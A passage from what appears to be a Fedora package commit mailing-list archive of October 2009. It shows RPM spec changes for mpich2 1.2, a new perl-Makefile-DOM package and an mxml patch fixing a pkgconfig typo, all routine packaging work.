 %{!?opt_fc: %global opt_fc gfortran}
+%{!?opt_f77: %global opt_f77 gfortran}
 # Optional CFLAGS to use with the specific compiler...gcc doesn't need any,
 # so uncomment and undefine to NOT use
 %{!?opt_cc_cflags: %global opt_cc_cflags %{optflags}}
 %{!?opt_fc_fflags: %global opt_fc_fflags %{optflags}}
+#%{!?opt_fc_fflags: %global opt_fc_fflags %{optflags} -I%{_fmoddir}}
+%{!?opt_f77_fflags: %global opt_f77_fflags %{optflags}}
 
 %ifarch %{ix86} x86_64
 %global selected_channels ch3:nemesis
@@ -61,10 +74,8 @@ Contains development headers and librari
 %endif
 
 %ifarch x86_64 ia64 ppc64 s390x sparc64
-%global mode 64
 %global priority 41
 %else
-%global mode 32
 %global priority 40
 %endif
 
@@ -74,26 +85,39 @@ Contains development headers and librari
 
 %prep
 %setup -q
+%patch0 -p0 -b .modu
 
+%build
 %configure	\
 	--enable-sharedlibs=gcc					\
+	--enable-f90						\
 	--with-device=%{selected_channels}			\
-	--sysconfdir=%{_sysconfdir}/%{name}-%{mode}		\
-	--includedir=%{_includedir}/%{name}			\
-	--libdir=%{_libdir}/%{name}				\
+	--sysconfdir=%{_sysconfdir}/%{name}-%{_arch}		\
+	--includedir=%{_includedir}/%{name}-%{_arch}		\
+	--libdir=%{_libdir}/%{name}/lib				\
 	--datadir=%{_datadir}/%{name}				\
-	--docdir=%{_docdir}/%{name}-%{version}			\
-	--htmldir=%{_docdir}/%{name}-%{version}/www		\
+	--mandir=%{_mandir}/%{name}				\
+	--docdir=%{_datadir}/%{name}/doc			\
+	--htmldir=%{_datadir}/%{name}/doc			\
 	--with-java=%{_sysconfdir}/alternatives/java_sdk	\
 	F90=%{opt_fc}						\
-	F77=%{opt_fc}						\
-	CFLAGS="%{?opt_cc_cflags} %{?XFLAGS}"			\
-	CXXFLAGS="%{optflags} %{?XFLAGS}"			\
-	F90FLAGS="%{?opt_fc_fflags} %{?XFLAGS}"			\
-	FFLAGS="%{?opt_fc_fflags} %{?XFLAGS}"			\
-	LDFLAGS='-Wl,-z,noexecstack'
+	F77=%{opt_f77}						\
+	CFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"			\
+	CXXFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"		\
+	F90FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"		\
+	FFLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"			\
+	LDFLAGS='-Wl,-z,noexecstack'				\
+	MPICH2LIB_CFLAGS="%{?opt_cc_cflags}"			\
+	MPICH2LIB_CXXFLAGS="%{optflags}"			\
+	MPICH2LIB_F90FLAGS="%{?opt_fc_fflags}"			\
+	MPICH2LIB_FFLAGS="%{?opt_f77_fflags}"	
+#	MPICH2LIB_LDFLAGS='-Wl,-z,noexecstack'			\
+#	MPICH2_MPICC_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPICXX_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPIF90_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"	\
+#	MPICH2_MPIF77_FLAGS="-m%{__isa_bits} -O2 %{?XFLAGS}"
 
-%build
+#	F90FLAGS="%{?opt_fc_fflags} -I%{_fmoddir}/%{name} %{?XFLAGS}"	\
 #make %{?_smp_mflags} doesn't work
 make
 
@@ -101,66 +125,59 @@ make
 rm -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
-## Resolve clashes with LAM/OPENMP: mpicxx mpicc mpif77 mpif90 mpiexec mpirun
+mkdir -p %{buildroot}%{_libdir}/%{name}/bin %{buildroot}%{_mandir}/man1
 rm -f %{buildroot}%{_bindir}/{mpiexec,mpirun,mpdrun}
-mv %{buildroot}%{_mandir}/man1/{,mp-}mpiexec.1
+
+for execfile in mpiexec mpirun; do 
+  ln -s ../../../bin/mpiexec.py %{buildroot}%{_libdir}/%{name}/bin/$execfile
+done
+BASIC_PGMS="slog2print slog2navigator slog2filter slog2updater logconvertor jumpshot"
+CLOG_PGMS="clogprint clogTOslog2 clog2print clog2TOslog2"
+RLOG_PGMS="rlogprint rlogTOslog2"
+for exefile in $BASIC_PGMS $CLOG_PGMS $RLOG_PGMS mpich2version ; do
+  mv %{buildroot}%{_bindir}/$exefile %{buildroot}%{_libdir}/%{name}/bin/$exefile
+done
+
 pushd  %{buildroot}%{_bindir}/
 ln -s mpiexec.py mpdrun
-touch mpiexec
-touch mpirun
-rm -f mpic++
-touch mpic++
+touch mpiexec mpirun mpich2version
+touch %{buildroot}%{_mandir}/man1/mpiexec.1
 popd
-for b in mpicxx mpicc mpif77 mpif90; do 
-  mv %{buildroot}%{_bindir}/$b %{buildroot}%{_bindir}/mp%{mode}-$b;
+for b in mpicxx mpicc mpif77 mpif90 mpic++; do 
+  mv %{buildroot}%{_bindir}/$b %{buildroot}%{_libdir}/%{name}/bin/;
   touch %{buildroot}%{_bindir}/$b;
-  mv %{buildroot}%{_mandir}/man1/$b.1 %{buildroot}%{_mandir}/man1/mp-$b.1;
   touch %{buildroot}%{_mandir}/man1/$b.1;
 done
 
-## Setup the executables for 'environment module'
-mkdir -p %{buildroot}%{_datadir}/%{name}/bin%{mode}
-for b in mpicxx mpicc mpif77 mpif90; do 
-  ln -s ../../../bin/mp%{mode}-$b %{buildroot}%{_datadir}/%{name}/bin%{mode}/$b
-done
-ln -s ../../../bin/mp%{mode}-mpicxx %{buildroot}%{_datadir}/%{name}/bin%{mode}/mpic++
-
-for bn in mpiexec mpirun; do 
-  ln -s ../../../bin/mpiexec.py %{buildroot}%{_datadir}/%{name}/bin%{mode}/$bn
-done
-
-mv %{buildroot}%{_libdir}/%{name}/pkgconfig %{buildroot}%{_libdir}/
+mv %{buildroot}%{_libdir}/%{name}/lib/pkgconfig %{buildroot}%{_libdir}/
 chmod -x %{buildroot}%{_libdir}/pkgconfig/*.pc
 
-#Install the libdir under /etc/ld.so.conf.d
-mkdir -p %{buildroot}%{_sysconfdir}/ld.so.conf.d
-echo "%{_libdir}/%{name}"	\
-	> %{buildroot}%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
+#mkdir -p %{buildroot}/%{_fmoddir}/%{name}
+#mv  %{buildroot}%{_includedir}/%{name}/*.mod %{buildroot}/%{_fmoddir}/%{name}/
 
-# Adjust the default 'environment module' PATH for our changes
+# Install the module file
 mkdir -p %{buildroot}%{_datadir}/Modules/modulefiles
-cp -pr src/packaging/envmods/mpich2.module %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{mode}
-sed -i 's#'%{_bindir}'#'%{_datadir}/%{name}/bin%{mode}'#' %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{mode}
+cp -pr src/packaging/envmods/mpich2.module %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
+sed -i 's#'%{_bindir}'#'%{_libdir}/%{name}/bin'#;s#@LIBDIR@#'%{_libdir}'#;s#@ARCH@#'%{_arch}'#' %{buildroot}%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
+
+# Install the RPM macro
+mkdir -p %{buildroot}%{_sysconfdir}/rpm
+cp -pr %{SOURCE1} %{buildroot}%{_sysconfdir}/rpm/macros.%{name}
 
-# Manually copy doc file here instead of the %files section to prevent the rpm
-#build script from throwing the other things in there out
-cp -pr CHANGES COPYRIGHT README RELEASE_NOTES %{buildroot}%{_docdir}/%{name}-%{version}/
-cp -pr src/mpe2/README %{buildroot}%{_docdir}/%{name}-%{version}/README.mpe
+cp -pr src/mpe2/README src/mpe2/README.mpe2
 
 # Silence rpmlint
-sed -i '/^#! \//,1 d' %{buildroot}%{_sysconfdir}/%{name}-%{mode}/{mpi*.conf,mpe_help.*}
+sed -i '/^#! \//,1 d' %{buildroot}%{_sysconfdir}/%{name}-%{_arch}/{mpi*.conf,mpe_help.*}
 
-#Rename the MPI routine manpages, to avoid conflict with openmpi
-for man in %{buildroot}%{_mandir}/man3/*; do
-  manf=`basename $man .3`
-  mv %{buildroot}%{_mandir}/man3/$manf.3 %{buildroot}%{_mandir}/man4/$manf.4
-  sed s/3/4/1 -i %{buildroot}%{_mandir}/man4/$manf.4
+# Work-around the multilib conflicts created by the makefiles
+for dirs in collchk graphics logging; do 
+  mv %{buildroot}%{_datadir}/%{name}/examples_$dirs/Makefile{,-%{_arch}}
 done
 
-# The uninstall script that is installed in this directory is not needed in rpm
-# packaging 
+# The uninstall script here is not needed/necesary for rpm packaging 
 rm -rf %{buildroot}%{_sbindir}/mpe*
 
+rm -rf %{buildroot}%{_bindir}/*.in
 find %{buildroot} -type f -name "*.la" -exec rm -f {} ';'
 
 %clean
@@ -172,35 +189,39 @@ rm -rf %{buildroot}
 
 if [ $1 -eq 1 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py 41	\
+	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py %{priority}	\
 	--slave	%{_bindir}/mpiexec mpi-exec %{_bindir}/mpiexec.py	\
+	--slave	%{_bindir}/mpich2version mpi-ver			\
+			%{_libdir}/%{name}/bin/mpich2version		\
 	--slave	%{_mandir}/man1/mpiexec.1.gz mpi-exec-man		\
-			%{_mandir}/man1/mp-mpiexec.1.gz		\
-	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man		\
-			%{_mandir}/man1/mp-mpif90.1.gz		\
-	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man		\
-			%{_mandir}/man1/mp-mpif77.1.gz		\
-	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man		\
-			%{_mandir}/man1/mp-mpicc.1.gz		\
-	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man		\
-			%{_mandir}/man1/mp-mpicxx.1.gz
+			%{_mandir}/%{name}/man1/mpiexec.1.gz		\
+	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man			\
+			%{_mandir}/%{name}/man1/mpif90.1.gz		\
+	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man			\
+			%{_mandir}/%{name}/man1/mpif77.1.gz		\
+	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man			\
+			%{_mandir}/%{name}/man1/mpicc.1.gz		\
+	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man			\
+			%{_mandir}/%{name}/man1/mpicxx.1.gz
 fi
 
 %posttrans
 if [ $1 -eq 0 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py 41	\
+	--install %{_bindir}/mpirun mpi-run %{_bindir}/mpiexec.py %{priority}	\
 	--slave	%{_bindir}/mpiexec mpi-exec %{_bindir}/mpiexec.py	\
+	--slave	%{_bindir}/mpich2version mpi-ver			\
+			%{_libdir}/%{name}/bin/mpich2version		\
 	--slave	%{_mandir}/man1/mpiexec.1.gz mpi-exec-man		\
-			%{_mandir}/man1/mp-mpiexec.1.gz		\
-	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man		\
-			%{_mandir}/man1/mp-mpif90.1.gz		\
-	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man		\
-			%{_mandir}/man1/mp-mpif77.1.gz		\
-	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man		\
-			%{_mandir}/man1/mp-mpicc.1.gz		\
-	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man		\
-			%{_mandir}/man1/mp-mpicxx.1.gz
+			%{_mandir}/%{name}/man1/mpiexec.1.gz		\
+	--slave	%{_mandir}/man1/mpif90.1.gz mpif90-man			\
+			%{_mandir}/%{name}/man1/mpif90.1.gz		\
+	--slave	%{_mandir}/man1/mpif77.1.gz mpif77-man			\
+			%{_mandir}/%{name}/man1/mpif77.1.gz		\
+	--slave	%{_mandir}/man1/mpicc.1.gz mpicc-man			\
+			%{_mandir}/%{name}/man1/mpicc.1.gz		\
+	--slave	%{_mandir}/man1/mpicxx.1.gz mpicxx-man			\
+			%{_mandir}/%{name}/man1/mpicxx.1.gz
 fi
 
 %preun
@@ -213,81 +234,99 @@ fi
 %post devel
 if [ $1 -eq 1 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpicc mpicc %{_bindir}/mp%{mode}-mpicc %{priority}\
-	--slave	%{_bindir}/mpicxx  mpicxx  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpic++  mpic++  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpif90  mpif90  %{_bindir}/mp%{mode}-mpif90	\
-	--slave	%{_bindir}/mpif77  mpif77  %{_bindir}/mp%{mode}-mpif77
+	--install %{_bindir}/mpicc mpicc %{_libdir}/%{name}/bin/mpicc %{priority}	\
+	--slave	%{_bindir}/mpicxx mpicxx %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpic++ mpic++ %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpif90 mpif90 %{_libdir}/%{name}/bin/mpif90	\
+	--slave	%{_bindir}/mpif77 mpif77 %{_libdir}/%{name}/bin/mpif77
+fi
+# Remove the old alternative
+if [ $1 -gt 1 ] ; then
+/usr/sbin/alternatives --remove mpicc %{_bindir}/mp%{__isa_bits}-mpicc
 fi
 
 %posttrans devel
 if [ $1 -eq 0 ] ; then
 /usr/sbin/alternatives	\
-	--install %{_bindir}/mpicc mpicc %{_bindir}/mp%{mode}-mpicc %{priority}\
-	--slave	%{_bindir}/mpicxx  mpicxx  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpic++  mpic++  %{_bindir}/mp%{mode}-mpicxx	\
-	--slave	%{_bindir}/mpif90  mpif90  %{_bindir}/mp%{mode}-mpif90	\
-	--slave	%{_bindir}/mpif77  mpif77  %{_bindir}/mp%{mode}-mpif77
+	--install %{_bindir}/mpicc mpicc %{_libdir}/%{name}/bin/mpicc %{priority}	\
+	--slave	%{_bindir}/mpicxx mpicxx %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpic++ mpic++ %{_libdir}/%{name}/bin/mpicxx	\
+	--slave	%{_bindir}/mpif90 mpif90 %{_libdir}/%{name}/bin/mpif90	\
+	--slave	%{_bindir}/mpif77 mpif77 %{_libdir}/%{name}/bin/mpif77
 fi
 
 %preun devel
-if [ $1 -eq 0 ] ; then
-/usr/sbin/alternatives --remove mpicc %{_bindir}/mp%{mode}-mpicc
+if [ $1 -ge 0 ] ; then
+/usr/sbin/alternatives --remove mpicc %{_libdir}/%{name}/bin/mpicc
 fi
 
 %files
 %defattr(-,root,root,-)
+%doc CHANGES COPYRIGHT README src/mpe2/README.mpe2 RELEASE_NOTES
 %{_bindir}/*
 %dir %{_libdir}/%{name}
-%{_libdir}/%{name}/*.jar
-%{_libdir}/%{name}/mpe*.o
-%{_libdir}/%{name}/*.so.*
-%dir %{_datadir}/%{name}
-%dir %{_datadir}/%{name}/bin%{mode}
-%{_datadir}/%{name}/bin%{mode}/mpiexec
-%{_datadir}/%{name}/bin%{mode}/mpirun
-%exclude %{_bindir}/mpiexec
-%exclude %{_bindir}/mpirun
-%exclude %{_bindir}/*mpic*
-%exclude %{_bindir}/*mpif*
-%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
-%config %{_sysconfdir}/%{name}-%{mode}/
-%doc %{_docdir}/%{name}-%{version}/
-%doc %{_datadir}/%{name}/doc/
-%{_mandir}/man1/mp-*.1.gz
+%dir %{_libdir}/%{name}/lib
+%dir %{_libdir}/%{name}/bin
+%{_libdir}/%{name}/lib/*.jar
+%{_libdir}/%{name}/lib/mpe*.o
+%{_libdir}/%{name}/lib/*.so.*
+%{_libdir}/%{name}/bin/mpiexec
+%{_libdir}/%{name}/bin/mpirun
+%{_libdir}/%{name}/bin/mpich2version
+%config %{_sysconfdir}/%{name}-%{_arch}/
+%config %{_sysconfdir}/rpm/macros.%{name}
+%dir %{_mandir}/%{name}/
+%doc %{_mandir}/%{name}/man1
+%{_datadir}/Modules/modulefiles/%{name}-%{_arch}
 %if 0%{?fedora} < 11
 %exclude %{_bindir}/mp*.pyc
 %exclude %{_bindir}/mp*.pyo
 %endif
+%exclude %{_bindir}/mpif*
+%exclude %{_bindir}/mpic*
 %ghost %{_bindir}/mpiexec
 %ghost %{_bindir}/mpirun
+%ghost %{_bindir}/mpich2version
 %ghost %{_mandir}/man1/mpi*.1.gz
-%ghost %{_mandir}/man1/MPI.1.gz
 
 %files devel
 %defattr(-,root,root,-)
-%{_bindir}/mp%{mode}*
+%{_libdir}/%{name}/bin/mpicc
+%{_libdir}/%{name}/bin/mpicxx
+%{_libdir}/%{name}/bin/mpic++
+%{_libdir}/%{name}/bin/mpif90
+%{_libdir}/%{name}/bin/mpif77
+%{_libdir}/%{name}/bin/*log*
+%{_libdir}/%{name}/bin/jumpshot
 %ghost %{_bindir}/mpicc
 %ghost %{_bindir}/mpicxx
 %ghost %{_bindir}/mpic++
 %ghost %{_bindir}/mpif90
 %ghost %{_bindir}/mpif77
-%{_includedir}/*
-%{_libdir}/%{name}/*.a
-%{_libdir}/%{name}/*.so
-%{_libdir}/%{name}/trace_rlog/libTraceInput.so
+%{_includedir}/%{name}-%{_arch}/
+#%{_fmoddir}/%{name}/
+%{_libdir}/%{name}/lib/*.a
+%{_libdir}/%{name}/lib/*.so
+%{_libdir}/%{name}/lib/trace_rlog/libTraceInput.so
 %{_libdir}/pkgconfig/%{name}-ch3.pc
-%{_datadir}/Modules/modulefiles/%{name}-%{mode}
-%{_datadir}/%{name}/bin%{mode}/mpicc
-%{_datadir}/%{name}/bin%{mode}/mpicxx
-%{_datadir}/%{name}/bin%{mode}/mpic++
-%{_datadir}/%{name}/bin%{mode}/mpif90
-%{_datadir}/%{name}/bin%{mode}/mpif77
+%{_datadir}/%{name}/examples*/Makefile-%{_arch}
+
+%files doc
+%defattr(-,root,root,-)
+%dir %{_datadir}/%{name}
+%{_datadir}/%{name}/doc/
 %{_datadir}/%{name}/examples*
 %{_datadir}/%{name}/logfiles/
-%{_mandir}/man4/*.gz
+%{_mandir}/%{name}/man3/*.gz
+%{_mandir}/%{name}/man4/*.gz
+%exclude %{_datadir}/%{name}/examples*/Makefile-%{_arch}
 
 %changelog
+* Wed Oct 28 2009 Deji Akingunola <dakingun at gmail.com> - 1.2-1
+- Adapt to the Fedora MPI packaging guildelines
+- Split out a -doc subpackage
+- New upstream version, v1.2
+
 * Tue Aug 11 2009 Deji Akingunola <dakingun at gmail.com> - 1.1.1p1-1
 - New upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mpich2/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Aug 2009 21:31:26 -0000	1.7
+++ sources	29 Oct 2009 02:52:36 -0000	1.8
@@ -1 +1 @@
-cb3da718237f2af826fcd85a4ab72047  mpich2-1.1.1p1.tar.gz
+925c8792c8aacbfca1aceae94852d591  mpich2-1.2.tar.gz



From ryanlerch at fedoraproject.org  Thu Oct 29 03:21:37 2009
From: ryanlerch at fedoraproject.org (ryan lerch)
Date: Thu, 29 Oct 2009 03:21:37 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/devel import.log, NONE,
	1.1 perl-Makefile-DOM.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029032137.4AB7611C008B@cvs1.fedora.phx.redhat.com>

Author: ryanlerch

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8984/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Makefile-DOM.spec 
Log Message:
initial RPM



--- NEW FILE import.log ---
perl-Makefile-DOM-0_004-2_fc11:HEAD:perl-Makefile-DOM-0.004-2.fc11.src.rpm:1256786632


--- NEW FILE perl-Makefile-DOM.spec ---
Name:           perl-Makefile-DOM
Version:        0.004
Release:        2%{?dist}
Summary:        Simple DOM parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-DOM/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-DOM-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Clone) >= 0.18
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(List::MoreUtils) >= 0.21
BuildRequires:  perl(Params::Util) >= 0.22
BuildRequires:  perl(CPAN)
BuildRequires:  perl(ExtUtils::Embed)
BuildRequires:  perl(Test::Harness)
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Test::Simple)
Requires:       perl(Clone) >= 0.18
Requires:       perl(List::MoreUtils) >= 0.21
Requires:       perl(Params::Util) >= 0.22
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Provides:       perl(Makefile::DOM) = %{version}

%description
This libary can serve as an advanced lexer for (GNU) makefiles. It parses
makefiles as "documents" and the parsing is lossless. The results are data
structures similar to DOM trees. The DOM trees hold every single bit of the
information in the original input files, including white spaces, blank
lines and makefile comments. That means it's possible to reproduce the
original makefiles from the DOM trees. In addition, each node of the DOM
trees is modifiable and so is the whole tree, just like the PPI module used
for Perl source parsing and the HTML::TreeBuilder module used for parsing
HTML source.

%prep
%setup -q -n Makefile-DOM-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README TODO
%{perl_vendorlib}/*
%{_mandir}/man3/*

%changelog
* Tue Sep 08 2009 Ryan Lerch <rlerch at redhat.com> 0.004-2
- Added BuildRequires and Provides lines to the specfile, as per the Fedora Perl Packaging Guidelines. 
* Mon Sep 07 2009 Ryan Lerch <rlerch at redhat.com> 0.004-1
- Specfile autogenerated by cpanspec 1.78.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:05:59 -0000	1.1
+++ .cvsignore	29 Oct 2009 03:21:35 -0000	1.2
@@ -0,0 +1 @@
+Makefile-DOM-0.004.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:05:59 -0000	1.1
+++ sources	29 Oct 2009 03:21:36 -0000	1.2
@@ -0,0 +1 @@
+2860a83edc7396077716c63f30c12446  Makefile-DOM-0.004.tar.gz



From oget at fedoraproject.org  Thu Oct 29 03:38:54 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 03:38:54 +0000 (UTC)
Subject: rpms/mxml/devel mxml-pkgconfig.patch,NONE,1.1 mxml.spec,1.10,1.11
Message-ID: <20091029033855.2578711C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/mxml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13626

Modified Files:
	mxml.spec 
Added Files:
	mxml-pkgconfig.patch 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai


mxml-pkgconfig.patch:
 mxml.pc.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mxml-pkgconfig.patch ---
--- mxml.pc.in.BAD      2009-06-02 01:34:38.246231737 +0100
+++ mxml.pc.in  2009-06-02 01:35:33.450207895 +0100
@@ -6,5 +6,5 @@
 Name: Mini-XML
 Description: Lightweight XML support library
 Version: @VERSION@
-Libs: @PC_LIBS@ @PHTREAD_LIBS@
+Libs: @PC_LIBS@ @PTHREAD_LIBS@
 Cflags: @PC_CFLAGS@ @PTHREAD_FLAGS@


Index: mxml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mxml/devel/mxml.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mxml.spec	25 Jul 2009 15:28:28 -0000	1.10
+++ mxml.spec	29 Oct 2009 03:38:53 -0000	1.11
@@ -1,12 +1,14 @@
 Summary:      Miniature XML development library
 Name:         mxml
 Version:      2.5
-Release:      4%{?dist}
+Release:      5%{?dist}
 License:      LGPLv2+
 Group:        System Environment/Libraries
 URL:          http://www.easysw.com/~mike/mxml/
 Source0:      http://ftp.easysw.com/pub/mxml/%{version}/mxml-%{version}.tar.gz
 Patch0:       mxml-no-rpath.patch
+# Fix the typo in .pc file. Already fixed in upstream trunk
+Patch1:       mxml-pkgconfig.patch
 BuildRoot:    %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # This is requires because we patch configure.in.
@@ -30,6 +32,7 @@ applications.
 %prep
 %setup -q
 %patch0 -p0
+%patch1 -p0 -b .pthread
 
 %build
 # Run autoconf since we patched configure.in.
@@ -74,6 +77,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/mxml.pc
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
+- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -111,7 +117,7 @@ rm -rf %{buildroot}
 - Fix License (LGPL, not GPL).
 - Move programming documentation to devel package.
 - Build shared library, and no static library.
-- Add %post(un).
+- Add %%post(un).
 - Remove rpath with mxml-no-rpath.patch.
 - First Fedora Extras build.
 



From oget at fedoraproject.org  Thu Oct 29 03:39:28 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 03:39:28 +0000 (UTC)
Subject: rpms/mxml/F-12 mxml-pkgconfig.patch,NONE,1.1 mxml.spec,1.10,1.11
Message-ID: <20091029033928.A0C9C11C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/mxml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13914

Modified Files:
	mxml.spec 
Added Files:
	mxml-pkgconfig.patch 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai


mxml-pkgconfig.patch:
 mxml.pc.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mxml-pkgconfig.patch ---
--- mxml.pc.in.BAD      2009-06-02 01:34:38.246231737 +0100
+++ mxml.pc.in  2009-06-02 01:35:33.450207895 +0100
@@ -6,5 +6,5 @@
 Name: Mini-XML
 Description: Lightweight XML support library
 Version: @VERSION@
-Libs: @PC_LIBS@ @PHTREAD_LIBS@
+Libs: @PC_LIBS@ @PTHREAD_LIBS@
 Cflags: @PC_CFLAGS@ @PTHREAD_FLAGS@


Index: mxml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mxml/F-12/mxml.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mxml.spec	25 Jul 2009 15:28:28 -0000	1.10
+++ mxml.spec	29 Oct 2009 03:39:28 -0000	1.11
@@ -1,12 +1,14 @@
 Summary:      Miniature XML development library
 Name:         mxml
 Version:      2.5
-Release:      4%{?dist}
+Release:      5%{?dist}
 License:      LGPLv2+
 Group:        System Environment/Libraries
 URL:          http://www.easysw.com/~mike/mxml/
 Source0:      http://ftp.easysw.com/pub/mxml/%{version}/mxml-%{version}.tar.gz
 Patch0:       mxml-no-rpath.patch
+# Fix the typo in .pc file. Already fixed in upstream trunk
+Patch1:       mxml-pkgconfig.patch
 BuildRoot:    %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # This is requires because we patch configure.in.
@@ -30,6 +32,7 @@ applications.
 %prep
 %setup -q
 %patch0 -p0
+%patch1 -p0 -b .pthread
 
 %build
 # Run autoconf since we patched configure.in.
@@ -74,6 +77,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/mxml.pc
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
+- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -111,7 +117,7 @@ rm -rf %{buildroot}
 - Fix License (LGPL, not GPL).
 - Move programming documentation to devel package.
 - Build shared library, and no static library.
-- Add %post(un).
+- Add %%post(un).
 - Remove rpath with mxml-no-rpath.patch.
 - First Fedora Extras build.
 



From oget at fedoraproject.org  Thu Oct 29 03:39:59 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 03:39:59 +0000 (UTC)
